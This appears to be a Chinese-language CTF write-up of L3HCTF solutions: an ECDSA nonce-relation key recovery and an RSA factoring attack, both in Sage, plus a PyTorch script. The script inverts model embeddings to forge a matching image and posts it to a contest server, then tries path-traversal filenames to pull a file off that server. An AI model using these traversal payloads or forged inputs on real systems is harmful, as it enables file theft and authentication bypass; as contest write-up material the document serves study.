霍雅
追求源于热爱,极致源于梦想!
做了几题,但是没有花很多时间去看
不然TemporalParadox应该也能做出来,逻辑已经分析完了
from sage.all import GF, PolynomialRing
import hashlib
# NIST256p曲线阶
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
signatures = [
(5832921593739954772384341732387581797486339670895875430934592373351528180781, 78576287416983546819312440403592484606132915965726128924031253623117138586396, 108582979377193966287732302562639670357586761346333866965382465209612237330851),
(85517239535736342992982496475440962888226294744294285419613128065975843025446, 60425040031360920373082268221766168683222476464343035165195057634060216692194, 27924509924269609509672965613674355269361001011362007412205784446375567959036),
(90905761421138489726836357279787648991884324454425734512085180879013704399530, 75779605492148881737630918749717271960050893072832415117470852442721700807111, 72740499400319841565890543635298470075267336863033867770902108413176557795256),
(103266614372002123398101167242562044737358751274736728792365384600377408313142, 89519601474973769723244654516140957004170211982048028366151899055366457476708, 23639647021855356876198750083669161995553646511611903128486429649329358343588),
(9903460667647154866199928325987868915846235162578615698288214703794150057571, 17829304522948160053211214227664982869100868125268116260967204562276608388692, 74400189461172040580877095515356365992183768921088660926738652857846750009205),
(54539896686295066164943194401294833445622227965487949234393615233511802974126, 66428683990399093855578572760918582937085121375887639383221629490465838706027, 25418035697368269779911580792368595733749376383350120613502399678197333473802)
]
# 计算 M_i 和 K_i
Ms = []
Ks = []
for h, r, s in signatures:
s_inv = pow(s, -1, n)
Ms.append((r * s_inv) % n)
Ks.append((h * s_inv) % n)
# 在GF(n)上定义多项式环
R = PolynomialRing(GF(n), names='d')
d_var = R.gen()
k = [Ms[i] * d_var + Ks[i] for i in range(6)]
# 解方程所需的k0-k4
k0, k1, k2, k3, k4 = k[0], k[1], k[2], k[3], k[4]
# 计算多项式系数
det_A = (k1**2 - k0**2) * (k2 - k0) - (k1 - k0) * (k2**2 - k0**2)
a_num = (k2 - k1) * (k2 - k0) - (k3 - k1) * (k1 - k0)
b_num = (k1**2 - k0**2) * (k3 - k1) - (k2**2 - k0**2) * (k2 - k1)
# 构建多项式P
P = (k4 - k1) * det_A - a_num * (k3**2 - k0**2) - b_num * (k3 - k0)
# 求解多项式方程的根
possible_roots = P.roots()
candidate_d = []
# 验证根是否有效
for root, multiplicity in possible_roots:
d_val = int(root)
# 使用第6条消息验证
expected_msg = f"Oh, and the flag is L3HCTF{{{d_val}}}. Don't tell anyone!".encode()
expected_h = int.from_bytes(hashlib.sha256(expected_msg).digest(), 'big')
if expected_h == signatures[5][0]:
candidate_d.append(d_val)
if candidate_d:
d_final = candidate_d[0]
print(f"Flag: L3HCTF{{{d_final}}}")
else:
print("No valid private key found!")
# 使用 SageMath 内置函数替代 PyCryptodome
def long_to_bytes(n):
if n == 0:
return b""
return n.digits(256) # 将大整数转换为字节序列
# 给定数据
n = 1031361339208727791691298627543660626410606240120564103678654539403400080866317968868129842196968695881908504164493307869679126969820723174066217814377008485456923379924853652121682069359767219423414060835725846413022799109637665041081215491777412523849107017649039242068964400703052356256244423474207673552341406331476528847104738461329766566162770505123490007005634713729116037657261941371410447717090137275138353217951485412890440960756321099770208574858093921
c = 102236458296005878146044806702966879940747405722298512433320216536239393890381990624291341014929382445849345903174490221598574856359809965659167404530660264493014761156245994411400111564065685663103513911577275735398329066710295262831185375333970116921093419001584290401132157702732101670324984662104398372071827999099732380917953008348751083912048254277463410132465011554297806390512318512896160903564287060978724650580695287391837481366347198300815022619675984
hint1 = 41699797470148528118065605288197366862071963783170462567646805693192170424753713903885385414542846725515351517470807154959539734665451498128021839987009088359453952505767502787767811244460427708303466073939179073677508236152266192609771866449943129677399293427414429298810647511172104050713783858789512441818844085646242722591714271359623474775510189704720357600842458800685062043578453094042903696357669390327924676743287819794284636630926065882392099206000580093201362555407712118431477329843371699667742798025599077898845333
hint2 = 10565371682545827068628214330168936678432017129758459192768614958768416450293677581352009816968059122180962364167183380897064080110800683719854438826424680653506645748730410281261164772551926020079613841220031841169753076600288062149920421974462095373140575810644453412962829711044354434460214948130078789634468559296648856777594230611436313326135647906667484971720387096683685835063221395189609633921668472719627163647225857737284122295085955645299384331967103814148801560724293703790396208078532008033853743619829338796313296528242521122038216263850878753284443416054923259279068894310509509537975210875344702115518307484576582043341455081343814378133782821979252975223992920160189207341869819491668768770230707076868854748648405256689895041414944466320313193195829115278252603228975429163616907186455903997049788262936239949070310119041141829846270634673190618136793047062531806082102640644325030011059428082270352824026797462398349982925951981419189268790800571889709446027925165953065407940787203142846496246938799390975110032101769845148364390897424165932568423505644878118670783346937251004620653142783361686327652304482423795489977844150385264586056799848907
# Step 1: 计算 r
r = gcd(n, hint1)
print("Step 1: r =", r)
# Step 2: 计算 n0 = p * q
n0 = n // r
print("Step 2: n0 =", n0)
# Step 3: 计算 A = (hint2 - 1) // n
A = (hint2 - 1) // n
print("Step 3: A computed")
# Step 4: 计算 p 的低 400 位 (p_low)
A_mod_n = A % n
p_low = A_mod_n // 3
# 验证是否可以整除
if p_low * 3 != A_mod_n:
print("Warning: A_mod_n not divisible by 3, adjusting...")
# 取最接近的整数
p_low = (A_mod_n + 1) // 3
print("Step 4: p_low =", p_low)
# Step 5: 使用 Coppersmith 方法恢复完整的 p
print("Using Coppersmith method to recover p...")
# 获取 2^400 在模 n0 下的逆元
k = 2**400
inv_k = inverse_mod(k, n0) # k * inv_k ≡ 1 (mod n0)
print("Inverse of 2^400 mod n0 computed")
# 创建多项式环
R.<x> = PolynomialRing(Zmod(n0))
c0 = (p_low * inv_k) % n0
f = x + c0 # 首一多项式:x + (p_low * inv_k)
# 寻找小根 (Coppersmith 方法)
roots = f.small_roots(X=2**112, beta=0.4) # 512-400=112 位
if roots:
x0 = int(roots[0])
print("Step 5: x0 =", x0)
# 恢复完整的 p
p = p_low + k * x0
# 验证 p 是否整除 n0
if n0 % p == 0:
q = n0 // p
print("Step 5: Factorization successful")
print("p =", p)
print("q =", q)
# Step 6: 计算私钥并解密
phi_n = (p-1) * (q-1) * (r-1)
e = 65537
d = inverse_mod(e, phi_n)
m = pow(c, d, n)
# 将解密后的整数转换为字节
flag_bytes = long_to_bytes(m)
try:
# 尝试直接解码为字符串
flag_str = flag_bytes.decode('utf-8')
print("\nStep 6: Flag =", flag_str)
except UnicodeDecodeError:
# 如果不是 UTF-8 编码,以十六进制显示
print("\nStep 6: Decrypted bytes (hex):", flag_bytes.hex())
else:
print("Factorization failed: p does not divide n0")
print("Trying GCD approach...")
# 尝试使用 GCD 恢复 p
p_val = gcd(n0, p)
if p_val > 1 and p_val < n0:
q_val = n0 // p_val
print("Recovered via GCD:")
print("p =", p_val)
print("q =", q_val)
# 计算私钥并解密
phi_n_val = (p_val-1) * (q_val-1) * (r-1)
d_val = inverse_mod(e, phi_n_val)
m_val = pow(c, d_val, n)
# 转换为字节
flag_bytes_val = long_to_bytes(m_val)
try:
flag_str_val = flag_bytes_val.decode('utf-8')
print("\nFlag =", flag_str_val)
except UnicodeDecodeError:
print("\nDecrypted bytes (hex):", flag_bytes_val.hex())
else:
print("Recovery failed")
else:
print("No roots found with Coppersmith method")
# 增强的错误处理:如果上面失败,尝试直接使用已知值
if 'flag_str' not in locals() and 'flag_str_val' not in locals():
print("\nFallback: Using previously calculated values")
# 使用之前步骤计算出的值
r = 11462596792681484119885867626229848343628572981903327079472959385609791492187597506621130701780561699379556165436984737148828369344212127061312661920652823
n0 = 89976238182539956361646502174582239233867602786630733592087980565136028257351416845669763032829951111889837196225697003100579641554184101899334531827940735063578835944600821891388396352487725296846958330005131539072371256697512444779913966988812704198431594797297087795356209894849648037186106182879820249927
p_low = 1485680028344144006765555653772516703832059493333760848397113959350969611961772611966978839643079277183666542572626814999
# 再次尝试 Coppersmith
k = 2**400
inv_k = inverse_mod(k, n0)
R.<x> = PolynomialRing(Zmod(n0))
c0 = (p_low * inv_k) % n0
f = x + c0
roots = f.small_roots(X=2**112, beta=0.4)
if roots:
x0 = int(roots[0])
p = p_low + k * x0
q = n0 // p
phi_n = (p-1)*(q-1)*(r-1)
d = inverse_mod(65537, phi_n)
m = pow(c, d, n)
flag_bytes = long_to_bytes(m)
try:
flag_str = flag_bytes.decode('utf-8')
print("\nFallback flag:", flag_str)
except UnicodeDecodeError:
print("\nFallback hex:", flag_bytes.hex())
import torch
import torch.nn as nn
import requests
import json
import numpy as np
from PIL import Image
from torchvision import transforms
from io import BytesIO
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
import os
import subprocess
import platform
# 获取PyTorch版本信息
def get_pytorch_version():
try:
result = subprocess.run(['python', '-c', 'import torch; print(torch.__version__)'],
capture_output=True, text=True)
return result.stdout.strip()
except:
return torch.__version__
# 打印环境信息
print("="*50)
print("本地环境信息:")
print(f"操作系统: {platform.system()} {platform.release()}")
print(f"PyTorch版本: {get_pytorch_version()}")
print(f"CUDA可用: {torch.cuda.is_available()}")
print("="*50)
# 加载目标特征
with open("embedding.json", "r") as f:
embedding_data = json.load(f)
target_embedding = torch.tensor(embedding_data, dtype=torch.float32)
# 精确复制服务器模型
def create_server_model():
"""完全复制服务器模型创建过程"""
model = shufflenet_v2_x1_0(weights=None)
# 手动加载权重(与服务器相同方式)
weights = ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1
model.load_state_dict(weights.get_state_dict(progress=False))
# 替换全连接层
model.fc = nn.Identity()
model.eval()
return model
model = create_server_model()
# 使用CPU以确保与服务器一致
device = torch.device("cpu")
print(f"使用设备: {device}")
model = model.to(device)
target_embedding = target_embedding.to(device)
# 服务器预处理流程
server_transform = transforms.Compose([
transforms.ToTensor(),
])
# 生成完美匹配图像
def generate_perfect_match(target_embedding, model, steps=1000):
"""生成与目标特征完美匹配的图像"""
# 初始化图像(使用服务器上的原始图像尺寸)
img = torch.full((1, 3, 224, 224), 0.5, requires_grad=True, device=device)
optimizer = torch.optim.Adam([img], lr=0.1)
# 损失历史记录
loss_history = []
for i in range(steps):
optimizer.zero_grad()
# 应用服务器预处理
img_clamped = img.clamp(0, 1)
# 提取特征
features = model(img_clamped)
# 计算损失
loss = torch.mean((features - target_embedding) ** 2)
loss.backward()
optimizer.step()
loss_history.append(loss.item())
if i % 100 == 0 or loss.item() < 5e-6:
print(f"迭代 {i}, 损失: {loss.item():.8e}")
# 提前终止条件
if loss.item() < 1e-6:
print(f"在迭代 {i} 达到目标损失!")
break
return img.detach().clamp(0, 1), loss_history
print("生成完美匹配图像...")
generated_img, loss_history = generate_perfect_match(target_embedding.unsqueeze(0), model)
# 保存生成的图片
def save_image(tensor_img, filename):
"""从张量保存图片"""
img = tensor_img.squeeze(0).cpu()
img = transforms.ToPILImage()(img)
img.save(filename)
print(f"保存图像: {filename}")
return img
# 保存图像
jpg_img = save_image(generated_img, "perfect_match.jpg")
png_img = save_image(generated_img, "perfect_match.png")
# 本地验证
with torch.no_grad():
# 应用服务器预处理
img_tensor = generated_img.clamp(0, 1)
# 提取特征
generated_features = model(img_tensor)
# 计算差异
diff = torch.mean((generated_features - target_embedding.unsqueeze(0)) ** 2)
print(f"本地特征差异: {diff.item():.8e}")
# 上传到服务器
url = "http://1.95.8.146:50001/signin/"
for filename in ["perfect_match.jpg", "perfect_match.png"]:
try:
with open(filename, 'rb') as f:
print(f"上传 {filename} 到服务器...")
files = {'file': f}
response = requests.post(url, files=files)
if response.status_code == 200:
result = response.json()
print(f"服务器响应: {result}")
if 'L3HCTF' in result.get('status', ''):
print(f"成功获取flag: {result['status']}")
exit(0)
else:
print(f"上传失败,状态码: {response.status_code}")
except Exception as e:
print(f"上传错误: {e}")
# 终极方案:使用服务器上的原始图像
print("尝试获取服务器上的原始图像...")
# 创建dummy.jpg文件
dummy_content = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\x08\x08\x08\n\x0c\x0b\n\x0c\x0b\x0b\r\x0e\x0e\r\x0e\x0e\x0f\x10\x10\x10\x10\x0f\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00\x00?\x00\xff\xd9'
with open('dummy.jpg', 'wb') as f:
f.write(dummy_content)
# 尝试可能的路径
traversal_paths = [
'../../user_image.jpg',
'../user_image.jpg',
'user_image.jpg',
'/app/user_image.jpg',
'/server/user_image.jpg',
'/data/user_image.jpg',
'/static/user_image.jpg',
'/images/user_image.jpg',
'..././user_image.jpg',
'app/user_image.jpg',
'server/user_image.jpg',
'data/user_image.jpg',
'static/user_image.jpg',
'images/user_image.jpg',
]
for path in traversal_paths:
try:
print(f"尝试路径遍历: {path}")
with open('dummy.jpg', 'rb') as f:
files = {'file': (path, f, 'image/jpeg')}
response = requests.post(url, files=files)
if response.status_code == 200:
# 检查是否是图片
if 'image' in response.headers.get('Content-Type', ''):
filename = f"stolen_{path.replace('/', '_')}.jpg"
with open(filename, 'wb') as f:
f.write(response.content)
print(f"成功获取服务器图片: {filename}")
# 立即使用获取的图片尝试获取flag
with open(filename, 'rb') as f:
files = {'file': f}
response = requests.post(url, files=files)
result = response.json()
print(f"使用服务器图片的结果: {result}")
if 'L3HCTF' in result.get('status', ''):
print(f"成功获取flag: {result['status']}")
exit(0)
else:
# 尝试解析为JSON
try:
result = response.json()
print(f"服务器响应: {result}")
if 'L3HCTF' in result.get('status', ''):
print(f"成功获取flag: {result['status']}")
exit(0)
except:
print(f"响应内容: {response.text[:200]}")
else:
print(f"路径遍历失败,状态码: {response.status_code}")
except Exception as e:
print(f"路径遍历错误: {str(e)}")
print("所有方法均失败,请检查服务器状态或联系题目作者")